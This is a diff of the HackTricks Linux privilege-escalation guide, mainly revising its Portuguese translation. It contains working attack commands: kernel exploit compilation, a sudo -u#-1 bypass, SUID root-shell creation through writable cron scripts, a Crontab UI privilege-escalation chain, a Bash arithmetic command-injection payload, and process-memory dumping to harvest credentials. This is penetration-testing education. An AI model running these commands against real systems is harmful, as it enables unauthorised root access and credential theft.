diff --git a/src/images/k8studio.jpg b/src/images/k8studio.jpg deleted file mode 100644 index 1c427e89f..000000000 Binary files a/src/images/k8studio.jpg and /dev/null differ diff --git a/src/images/k8studio.png b/src/images/k8studio.png new file mode 100644 index 000000000..0add889f2 Binary files /dev/null and b/src/images/k8studio.png differ diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index c0b52605c..323c9c40d 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -1,12 +1,12 @@ -# Elevação de Privilégios no Linux +# Linux Privilege Escalation {{#include ../../banners/hacktricks-training.md}} ## Informações do Sistema -### Informações do SO +### Informações do OS -Vamos começar a obter informações sobre o sistema operacional em execução +Vamos começar a obter informações sobre o SO em execução ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems @@ -14,7 +14,7 @@ cat /etc/os-release 2>/dev/null # universal on modern systems ``` ### Path -Se você **tem permissões de escrita em qualquer diretório dentro da variável `PATH`** pode ser capaz de hijack some libraries or binaries: +Se você **tem permissão de escrita em qualquer pasta dentro da variável `PATH`**, pode ser capaz de sequestrar algumas bibliotecas ou binários: ```bash echo $PATH ``` @@ -26,26 +26,26 @@ Informações interessantes, senhas ou chaves de API nas variáveis de ambiente? ``` ### Kernel exploits -Verifique a versão do kernel e se existe algum exploit que possa ser usado para escalar privilégios +Verifique a versão do kernel e se existe algum exploit que possa ser usado para escalate privileges ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -Você pode encontrar uma boa lista de kernels vulneráveis e alguns já **compiled exploits** aqui: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) e [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +Você pode encontrar uma boa lista de kernels vulneráveis e alguns **compiled exploits** aqui: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ Outros sites onde você pode encontrar alguns **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) Para extrair todas as versões de kernel vulneráveis desse site você pode fazer: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -Ferramentas que podem ajudar a procurar por exploits do kernel são: +Ferramentas que podem ajudar a procurar por kernel exploits são: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute NA vítima, somente verifica exploits para kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (executar IN victim, apenas verifica exploits para kernel 2.x) -Sempre **pesquise a versão do kernel no Google**, talvez a versão do seu kernel esteja escrita em algum exploit do kernel e assim você terá certeza de que esse exploit é válido. +Sempre **pesquise a kernel version no Google**, talvez a sua kernel version esteja escrita em algum kernel exploit e assim você terá certeza de que esse exploit é válido. ### CVE-2016-5195 (DirtyCow) @@ -57,7 +57,7 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` -### Sudo versão +### Versão do sudo Com base nas versões vulneráveis do sudo que aparecem em: ```bash @@ -67,15 +67,15 @@ Você pode verificar se a versão do sudo é vulnerável usando este grep. ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` -#### sudo < v1.28 +#### sudo < v1.8.28 De @sickrov ``` sudo -u#-1 /bin/bash ``` -### Dmesg signature verification failed +### Dmesg falha na verificação de assinatura -Consulte **smasher2 box of HTB** para um **exemplo** de como esta vuln poderia ser explorada +Verifique **smasher2 box of HTB** para um **exemplo** de como esta vuln poderia ser explorada ```bash dmesg 2>/dev/null | grep "signature" ``` @@ -123,16 +123,16 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -Se você estiver dentro de um docker container, pode tentar escapar dele: +Se você estiver dentro de um docker container pode tentar escapar dele: {{#ref}} docker-security/ {{#endref}} -## Discos +## Drives -Verifique **o que está montado e o que não está montado**, onde e por quê. Se algo não estiver montado, você pode tentar montá-lo e verificar se há informações privadas. +Verifique **o que está montado e desmontado**, onde e por quê. Se algo estiver desmontado, você pode tentar montá-lo e verificar por informações privadas ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -141,7 +141,7 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ``` ## Software útil -Enumerar binários úteis +Enumere binários úteis ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` @@ -149,52 +149,52 @@ Além disso, verifique se **algum compilador está instalado**. Isso é útil se ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` -### Software Vulnerável Instalado +### Software vulnerável instalado -Verifique a **versão dos pacotes e serviços instalados**. Talvez exista alguma versão antiga do Nagios (por exemplo) que possa ser explorada para escalating privileges…\ -Recomenda-se verificar manualmente a versão dos softwares instalados mais suspeitos. +Verifique a **versão dos pacotes e serviços instalados**. Talvez haja alguma versão antiga do Nagios (por exemplo) que poderia ser explorada para escalating privileges…\ +Recomenda-se verificar manualmente a versão do software instalado que pareça mais suspeito. ```bash dpkg -l #Debian rpm -qa #Centos ``` -Se tiver acesso SSH à máquina, você também pode usar **openVAS** para verificar se há software desatualizado ou vulnerável instalado na máquina. +Se você tiver acesso SSH à máquina, você também pode usar **openVAS** para verificar software desatualizado e vulnerável instalado dentro da máquina. -> [!NOTE] > _Observe que esses comandos mostrarão muita informação que, na maior parte, será inútil; portanto, recomenda-se usar aplicações como OpenVAS ou similares que verifiquem se alguma versão de software instalada é vulnerável a exploits conhecidos_ +> [!NOTE] > _Observe que esses comandos mostrarão muita informação que, em sua maior parte, será inútil; portanto, recomenda-se usar aplicações como OpenVAS ou similares que verificarão se alguma versão de software instalada é vulnerável a exploits conhecidos_ ## Processos -Dê uma olhada em **quais processos** estão sendo executados e verifique se algum processo tem **mais privilégios do que deveria** (talvez um tomcat sendo executado por root?) +Dê uma olhada em **quais processos** estão sendo executados e verifique se algum processo tem **mais privilégios do que deveria** (talvez um tomcat sendo executado como root?) ```bash ps aux ps -ef top -n 1 ``` -Sempre verifique possíveis [**electron/cef/chromium debuggers** em execução, você pode abusar disso para escalar privilégios](electron-cef-chromium-debugger-abuse.md). **Linpeas** detecta esses verificando o parâmetro `--inspect` dentro da linha de comando do processo.\ -Também **verifique seus privilégios sobre os binários dos processos**, talvez você possa sobrescrever algum. +Sempre verifique possíveis [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detecta esses verificando o parâmetro `--inspect` na linha de comando do processo.\ +Também **verifique seus privilégios sobre os binários dos processos**, talvez você consiga sobrescrever algum. ### Monitoramento de processos -Você pode usar ferramentas como [**pspy**](https://github.com/DominicBreuker/pspy) para monitorar processos. Isso pode ser muito útil para identificar processos vulneráveis sendo executados frequentemente ou quando um conjunto de requisitos é atendido. +Você pode usar ferramentas como [**pspy**](https://github.com/DominicBreuker/pspy) para monitorar processos. Isso pode ser muito útil para identificar processos vulneráveis executados com frequência ou quando um conjunto de requisitos é atendido. -### Memória do processo +### Memória de processos Alguns serviços de um servidor salvam **credenciais em texto claro na memória**.\ -Normalmente você precisará de **root privileges** para ler a memória de processos que pertencem a outros usuários, portanto isso costuma ser mais útil quando você já é root e quer descobrir mais credenciais.\ -No entanto, lembre-se que **como usuário comum você pode ler a memória dos processos que possui**. +Normalmente você precisará de **privilégios root** para ler a memória de processos que pertencem a outros usuários; portanto, isso geralmente é mais útil quando você já é root e deseja descobrir mais credenciais.\ +No entanto, lembre-se de que **como usuário comum você pode ler a memória dos processos que possui**. > [!WARNING] -> Note that nowadays most machines **don't allow ptrace by default** which means that you cannot dump other processes that belong to your unprivileged user. +> Note that nowadays most machines **não permitem ptrace por padrão**, o que significa que você não pode despejar outros processos que pertencem ao seu usuário sem privilégios. > > The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: > -> - **kernel.yama.ptrace_scope = 0**: todos os processos podem ser depurados, desde que tenham o mesmo uid. Esta é a forma clássica de como ptracing funcionava. +> - **kernel.yama.ptrace_scope = 0**: todos os processos podem ser depurados, desde que tenham o mesmo uid. Esta é a forma clássica de funcionamento do ptrace. > - **kernel.yama.ptrace_scope = 1**: apenas um processo pai pode ser depurado. -> - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. -> - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. +> - **kernel.yama.ptrace_scope = 2**: somente o administrador pode usar ptrace, pois requer a capability CAP_SYS_PTRACE. +> - **kernel.yama.ptrace_scope = 3**: nenhum processo pode ser rastreado com ptrace. Uma vez definido, é necessário reiniciar para habilitar ptrace novamente. #### GDB -Se você tiver acesso à memória de um serviço FTP (por exemplo) você poderia obter o Heap e procurar dentro dele por credenciais. +Se você tiver acesso à memória de um serviço FTP (por exemplo), você pode obter o Heap e procurar dentro dele por credenciais. ```bash gdb -p (gdb) info proc mappings @@ -216,7 +216,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Para um determinado PID, os **maps** mostram como a memória é mapeada dentro do espaço de endereçamento virtual desse processo; também mostram as **permissões de cada região mapeada**. O pseudo-arquivo **mem** **expõe a própria memória do processo**. A partir do arquivo **maps** sabemos quais **regiões de memória são legíveis** e seus offsets. Usamos essa informação para **seek into the mem file and dump all readable regions** para um arquivo. +Para um dado ID de processo, **maps mostram como a memória está mapeada no espaço de endereçamento virtual desse processo**; também mostra as **permissões de cada região mapeada**. O pseudo-arquivo **mem** **expõe a própria memória do processo**. A partir do arquivo **maps** sabemos quais **regiões de memória são legíveis** e seus offsets. Usamos essa informação para **seek into the mem file and dump all readable regions** to a file. ```bash procdump() ( @@ -232,13 +232,13 @@ rm $1*.bin #### /dev/mem `/dev/mem` fornece acesso à memória **física** do sistema, não à memória virtual. O espaço de endereçamento virtual do kernel pode ser acessado usando /dev/kmem.\ -Normalmente, `/dev/mem` é legível somente por **root** e pelo grupo **kmem**. +Normalmente, `/dev/mem` só é legível por **root** e pelo grupo **kmem**. ``` strings /dev/mem -n10 | grep -i PASS ``` ### ProcDump para linux -ProcDump é uma versão para Linux da clássica ferramenta ProcDump do conjunto Sysinternals para Windows. Obtenha-o em [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump é uma releitura para Linux da clássica ferramenta ProcDump do conjunto Sysinternals para Windows. Disponível em [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -267,22 +267,22 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### Ferramentas -Para despejar a memória de um processo você pode usar: +Para fazer dump da memória de um processo você pode usar: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Você pode remover manualmente os requisitos de root e volcar o processo que pertence a você -- Script A.5 de [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root é necessário) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Você pode manualmente remover os requisitos de root e dumpar o processo que pertence a você +- Script A.5 de [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (é necessário root) -### Credenciais da memória do processo +### Credenciais a partir da memória do processo #### Exemplo manual -Se você encontrar que o processo authenticator está em execução: +Se você descobrir que o processo authenticator está em execução: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Você pode fazer o dump do processo (veja as seções anteriores para encontrar diferentes maneiras de fazer o dump da memória de um processo) e procurar por credenciais dentro da memória: +Você pode despejar o processo (veja as seções anteriores para encontrar diferentes maneiras de despejar a memória de um processo) e procurar por credenciais dentro da memória: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password @@ -293,12 +293,12 @@ A ferramenta [**https://github.com/huntergregal/mimipenguin**](https://github.co | Funcionalidade | Nome do Processo | | ------------------------------------------------- | -------------------- | -| Senha do GDM (Kali Desktop, Debian Desktop) | gdm-password | +| GDM password (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (Conexões FTP ativas) | vsftpd | -| Apache2 (Sessões HTTP Basic Auth ativas) | apache2 | -| OpenSSH (Sessões SSH ativas - uso de sudo) | sshd: | +| VSFTPd (Active FTP Connections) | vsftpd | +| Apache2 (Active HTTP Basic Auth Sessions) | apache2 | +| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | #### Expressões Regulares de Busca/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash @@ -314,23 +314,23 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Agendados/Cron jobs +## Tarefas Agendadas/Cron jobs -### Crontab UI (alseambusher) rodando como root – agendador baseado na web privesc +### Crontab UI (alseambusher) em execução como root – web-based scheduler privesc -Se um painel web “Crontab UI” (alseambusher/crontab-ui) estiver rodando como root e estiver ligado apenas ao loopback, você ainda pode alcançá‑lo via SSH local port-forwarding e criar um job privilegiado para escalar privilégios. +Se um painel web “Crontab UI” (alseambusher/crontab-ui) estiver em execução como root e estiver ligado apenas ao loopback, você ainda pode alcançá‑lo via SSH local port-forwarding e criar uma tarefa privilegiada para escalar. -Typical chain -- Descobrir porta acessível apenas via loopback (e.g., 127.0.0.1:8000) e o realm Basic-Auth via `ss -ntlp` / `curl -v localhost:8000` +Cadeia típica +- Descobrir porta apenas em loopback (e.g., 127.0.0.1:8000) e Basic-Auth realm via `ss -ntlp` / `curl -v localhost:8000` - Encontrar credenciais em artefatos operacionais: - Backups/scripts com `zip -P ` -- unit systemd expondo `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."` -- Estabelecer túnel e login: +- systemd unit expondo `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."` +- Tunnel and login: ```bash ssh -L 9001:localhost:8000 user@target # browse http://localhost:9001 and authenticate ``` -- Criar um high-priv job e executar imediatamente (drops SUID shell): +- Crie um job com privilégios elevados e execute imediatamente (gera um shell SUID): ```bash # Name: escalate # Command: @@ -341,27 +341,26 @@ cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell /tmp/rootshell -p # root shell ``` Endurecimento -- Do not run Crontab UI as root; constrain with a dedicated user and minimal permissions +- Do not run Crontab UI as root; restrinja com um usuário dedicado e permissões mínimas - Bind to localhost and additionally restrict access via firewall/VPN; do not reuse passwords - Avoid embedding secrets in unit files; use secret stores or root-only EnvironmentFile - Enable audit/logging for on-demand job executions -Check if any scheduled job is vulnerable. Maybe you can take advantage of a script being executed by root (wildcard vuln? can modify files that root uses? use symlinks? create specific files in the directory that root uses?). +Verifique se alguma tarefa agendada está vulnerável. Talvez você possa aproveitar um script sendo executado pelo root (wildcard vuln? can modify files that root uses? use symlinks? create specific files in the directory that root uses?). ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -### Cron path +### PATH do Cron Por exemplo, dentro de _/etc/crontab_ você pode encontrar o PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_Observe como o usuário "user" tem privilégios de escrita sobre /home/user_) +(_Repare como o usuário "user" tem privilégios de escrita sobre /home/user_) -Se dentro deste crontab o usuário root tentar executar algum comando ou script sem definir o path. Por exemplo: _\* \* \* \* root overwrite.sh_\ -Então, você pode obter um root shell usando: +Se dentro deste crontab o usuário root tentar executar algum comando ou script sem definir o PATH. Por exemplo: _\* \* \* \* root overwrite.sh_. Então, você pode obter um shell root usando: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed @@ -369,13 +368,13 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh ``` ### Cron usando um script com um wildcard (Wildcard Injection) -Se um script é executado por root e tem um “**\***” dentro de um comando, você pode explorar isso para causar comportamentos inesperados (como privesc). Exemplo: +Se um script executado por root contiver um “**\***” dentro de um comando, você pode explorar isso para fazer coisas inesperadas (como privesc). Exemplo: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Se o wildcard for precedido por um caminho como** _**/some/path/\***_ **, ele não é vulnerável (mesmo** _**./\***_ **não é).** +**Se o wildcard for precedido por um caminho como** _**/some/path/\***_ **, não é vulnerável (até mesmo** _**./\***_ **não é).** -Leia a página a seguir para mais wildcard exploitation tricks: +Leia a página a seguir para mais truques de exploração de wildcard: {{#ref}} @@ -385,11 +384,11 @@ wildcards-spare-tricks.md ### Bash arithmetic expansion injection in cron log parsers -Bash realiza parameter expansion e command substitution antes da avaliação aritmética em ((...)), $((...)) e let. Se um cron/parser executado como root ler campos de log não confiáveis e os alimentar em um contexto aritmético, um atacante pode injetar um command substitution $(...) que será executado como root quando o cron for executado. +Bash performs parameter expansion and command substitution before arithmetic evaluation in ((...)), $((...)) and let. Se um cron/parser executado como root lê campos de log não confiáveis e os envia para um contexto aritmético, um atacante pode injetar uma command substitution $(...) que será executada como root quando o cron rodar. -- Why it works: Em Bash, as expansões ocorrem nesta ordem: parameter/variable expansion, command substitution, arithmetic expansion, then word splitting and pathname expansion. So a value like `$(/bin/bash -c 'id > /tmp/pwn')0` is first substituted (running the command), then the remaining numeric `0` is used for the arithmetic so the script continues without errors. +- Por que funciona: No Bash, as expansões ocorrem nesta ordem: parameter/variable expansion, command substitution, arithmetic expansion, depois word splitting e pathname expansion. Assim, um valor como `$(/bin/bash -c 'id > /tmp/pwn')0` é primeiro substituído (executando o comando), então o restante numérico `0` é usado na aritmética para que o script continue sem erros. -- Typical vulnerable pattern: +- Padrão tipicamente vulnerável: ```bash #!/bin/bash # Example: parse a log and "sum" a count field coming from the log @@ -399,7 +398,7 @@ while IFS=',' read -r ts user count rest; do done < /var/www/app/log/application.log ``` -- Exploitation: Faça com que texto controlado pelo atacante seja escrito no log parseado de modo que o campo com aparência numérica contenha um command substitution e termine com um dígito. Garanta que seu comando não escreva em stdout (ou redirecione) para que a aritmética permaneça válida. +- Exploração: Faça com que texto controlado pelo atacante seja escrito no log analisado, de modo que o campo que parece numérico contenha uma command substitution e termine com um dígito. Garanta que seu comando não imprima para stdout (ou redirecione) para que a aritmética permaneça válida. ```bash # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 @@ -408,42 +407,42 @@ $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 ### Cron script overwriting and symlink -Se você **puder modificar um cron script** executado como root, pode obter um shell muito facilmente: +If you **can modify a cron script** executed by root, you can get a shell very easily: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Se o script executado por root usa um **diretório onde você tem acesso total**, talvez seja útil apagar essa pasta e **criar um symlink para outra pasta** que aponte para um script controlado por você +Se o script executado por root usa um **diretório ao qual você tem acesso total**, talvez seja útil deletar essa pasta e **criar uma pasta symlink apontando para outra** que sirva um script controlado por você ```bash ln -d -s ``` ### Cron jobs frequentes -Você pode monitorar os processos para procurar processos que estão sendo executados a cada 1, 2 ou 5 minutos. Talvez você possa tirar proveito disso e escalar privilégios. +Você pode monitorar os processos para buscar aqueles que estão sendo executados a cada 1, 2 ou 5 minutos. Talvez você possa tirar proveito disso e elevar privilégios. Por exemplo, para **monitorar a cada 0.1s durante 1 minuto**, **ordenar pelos comandos menos executados** e remover os comandos que foram executados com mais frequência, você pode fazer: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**Você também pode usar** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (ele irá monitorar e listar todo processo que for iniciado). +**Você também pode usar** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (isso vai monitorar e listar todos os processos que iniciarem). ### Cron jobs invisíveis -É possível criar um cronjob **inserindo um carriage return após um comentário** (sem o caractere de nova linha), e o cron job funcionará. Exemplo (observe o caractere carriage return): +É possível criar um cronjob **colocando um carriage return após um comentário** (sem o caractere de newline), e o cron job funcionará. Exemplo (observe o caractere carriage return): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` -## Services +## Serviços -### Arquivos _.service_ graváveis +### Arquivos _.service_ com permissão de escrita -Verifique se você pode escrever em algum arquivo `.service`; se puder, você **poderia modificá-lo** para que ele **execute** seu **backdoor quando** o serviço for **iniciado**, **reiniciado** ou **parado** (talvez seja necessário aguardar até que a máquina seja reiniciada).\ +Verifique se você consegue gravar qualquer arquivo `.service`, se conseguir, você **poderia modificá-lo** de forma que ele **execute** seu **backdoor quando** o serviço for **iniciado**, **reiniciado** ou **parado** (talvez você precise esperar até que a máquina seja reiniciada).\ Por exemplo, crie seu backdoor dentro do arquivo .service com **`ExecStart=/tmp/script.sh`** -### Binários de serviço graváveis +### Binários de serviço com permissão de escrita -Tenha em mente que, se você tiver **permissões de escrita sobre binários executados por serviços**, você pode alterá-los para backdoors de forma que, quando os serviços forem reexecutados, os backdoors sejam executados. +Tenha em mente que, se você tem **permissões de escrita sobre os binários executados por serviços**, pode alterá-los para backdoors, de forma que quando os serviços forem re-executados os backdoors sejam executados. ### systemd PATH - Caminhos relativos @@ -451,74 +450,74 @@ Você pode ver o PATH usado pelo **systemd** com: ```bash systemctl show-environment ``` -Se você descobrir que pode **write** em qualquer uma das pastas do caminho, pode ser capaz de **escalate privileges**. Você precisa procurar por **relative paths being used on service configurations** em arquivos como: +Se você descobrir que pode **escrever** em qualquer uma das pastas do caminho, pode ser capaz de **escalar privilégios**. Você precisa procurar por **caminhos relativos sendo usados em arquivos de configuração de serviços** como: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Então, crie um executável com o mesmo nome que o relative path binary dentro do diretório PATH do systemd que você puder escrever, e quando o serviço for solicitado a executar a ação vulnerável (**Start**, **Stop**, **Reload**), seu **backdoor** será executado (usuários sem privilégios normalmente não podem iniciar/parar serviços, mas verifique se você pode usar `sudo -l`). +Então, crie um **executável** com o **mesmo nome do binário do caminho relativo** dentro do diretório PATH do systemd que você possa escrever, e quando o serviço for solicitado a executar a ação vulnerável (**Start**, **Stop**, **Reload**), seu **backdoor será executado** (usuários sem privilégios normalmente não podem iniciar/parar serviços, mas verifique se você pode usar `sudo -l`). **Saiba mais sobre serviços com `man systemd.service`.** -## **Timers** +## **Temporizadores** -**Timers** são arquivos de unidade do systemd cujo nome termina em `**.timer**` que controlam arquivos ou eventos `**.service**`. **Timers** podem ser usados como alternativa ao cron, pois possuem suporte nativo a eventos baseados em tempo de calendário e a eventos de tempo monotônico, além de poderem ser executados de forma assíncrona. +**Temporizadores** são arquivos de unidade do systemd cujo nome termina em `**.timer**` que controlam arquivos ou eventos `**.service**`. **Temporizadores** podem ser usados como uma alternativa ao cron, pois têm suporte embutido para eventos em tempo de calendário e eventos em tempo monotônico, e podem ser executados assincronamente. -Você pode enumerar todos os timers com: +Você pode enumerar todos os temporizadores com: ```bash systemctl list-timers --all ``` ### Temporizadores graváveis -Se você puder modificar um timer, pode fazê-lo executar algumas unidades existentes de systemd.unit (como uma `.service` ou uma `.target`) +Se você puder modificar um timer, pode fazê-lo executar algumas unidades existentes do systemd.unit (como um `.service` ou um `.target`) ```bash Unit=backdoor.service ``` -Na documentação você pode ler o que é a Unit: +In the documentation you can read what the Unit is: -> A unidade a ser ativada quando este timer expira. O argumento é um nome de unidade, cujo sufixo não é ".timer". Se não for especificado, esse valor por padrão corresponde a um .service que tem o mesmo nome da unidade timer, exceto pelo sufixo. (Veja acima.) Recomenda-se que o nome da unidade que é ativada e o nome da unidade do timer sejam idênticos, exceto pelo sufixo. +> A unidade a ativar quando este timer expirar. O argumento é um nome de unidade, cujo sufixo não é ".timer". Se não for especificado, este valor padrão é um service que tem o mesmo nome da unidade timer, excepto pelo sufixo. (See above.) Recomenda-se que o nome da unidade que é ativado e o nome da unidade do timer sejam nomeados identicamente, excepto pelo sufixo. -Portanto, para abusar dessa permissão você precisaria: +Therefore, to abuse this permission you would need to: - Encontrar alguma unidade systemd (como um `.service`) que esteja **executando um binário gravável** -- Encontrar alguma unidade systemd que esteja **executando um caminho relativo** e para a qual você tenha **privilégios de escrita** sobre o **systemd PATH** (para se passar por esse executável) +- Encontrar alguma unidade systemd que esteja **executando um caminho relativo** e sobre a qual você tenha **privilégios de escrita** no **systemd PATH** (para se passar por esse executável) -Saiba mais sobre timers com `man systemd.timer`. +**Learn more about timers with `man systemd.timer`.** -### **Ativar timer** +### **Enabling Timer** -Para ativar um timer você precisa de privilégios root e executar: +To enable a timer you need root privileges and to execute: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Note the **timer** is **ativado** by creating a symlink to it on `/etc/systemd/system/.wants/.timer` +Note que o **timer** é **ativado** ao criar um symlink para ele em `/etc/systemd/system/.wants/.timer` ## Sockets -Unix Domain Sockets (UDS) permitem a **comunicação entre processos** na mesma máquina ou em máquinas diferentes dentro de modelos cliente-servidor. Eles utilizam arquivos de descritor padrão do Unix para comunicação entre computadores e são configurados através de arquivos `.socket`. +Unix Domain Sockets (UDS) permitem a **comunicação entre processos** na mesma máquina ou em máquinas diferentes dentro de modelos cliente-servidor. Eles utilizam arquivos de descritor Unix padrão para comunicação entre computadores e são configurados através de arquivos `.socket`. Sockets podem ser configurados usando arquivos `.socket`. -**Saiba mais sobre sockets com `man systemd.socket`.** Dentro desse arquivo, vários parâmetros interessantes podem ser configurados: +**Saiba mais sobre sockets com `man systemd.socket`.** Dentro deste arquivo, vários parâmetros interessantes podem ser configurados: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Essas opções são diferentes, mas um resumo é usado para **indicar onde ele vai escutar** o socket (o caminho do arquivo de socket AF_UNIX, o IPv4/6 e/ou número de porta para escutar, etc.) -- `Accept`: Recebe um argumento booleano. Se **true**, uma **instância de serviço é criada para cada conexão recebida** e somente o socket da conexão é passado para ela. Se **false**, todos os sockets de escuta são **passados para a unidade de serviço iniciada**, e apenas uma unidade de serviço é criada para todas as conexões. Esse valor é ignorado para datagram sockets e FIFOs, onde uma única unidade de serviço trata incondicionalmente todo o tráfego de entrada. **Padrão: false**. Por razões de desempenho, recomenda-se escrever novos daemons apenas de forma compatível com `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Recebem uma ou mais linhas de comando, que são **executadas antes** ou **depois** que os **sockets**/FIFOs de escuta sejam **criados** e vinculados, respectivamente. O primeiro token da linha de comando deve ser um nome de arquivo absoluto, seguido pelos argumentos do processo. -- `ExecStopPre`, `ExecStopPost`: Comandos adicionais que são **executados antes** ou **depois** que os **sockets**/FIFOs de escuta sejam **fechados** e removidos, respectivamente. -- `Service`: Especifica o nome da unidade **service** a **ativar** quando houver **tráfego de entrada**. Essa configuração só é permitida para sockets com `Accept=no`. Por padrão, aponta para o serviço que tem o mesmo nome do socket (com o sufixo substituído). Na maioria dos casos, não é necessário usar essa opção. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Estas opções são diferentes, mas um resumo é usado para **indicar onde ele irá escutar** o socket (o caminho do arquivo de socket AF_UNIX, o 